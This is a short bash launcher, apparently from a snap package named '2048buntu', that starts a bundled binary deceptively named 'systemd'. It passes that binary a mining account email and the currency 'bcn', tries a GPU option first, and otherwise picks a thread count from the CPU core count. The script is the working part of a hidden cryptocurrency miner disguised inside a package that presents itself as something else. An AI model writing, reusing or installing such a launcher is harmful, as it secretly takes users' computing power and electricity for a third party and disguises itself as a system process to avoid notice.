#!/bin/bash
currency=bcn
name=2048buntu
{ # try
/snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1 -g
} || { # catch
cores=($(grep -c ^processor /proc/cpuinfo))
if (( $cores < 4 )); then
/snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1
else
/snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 2
fi
}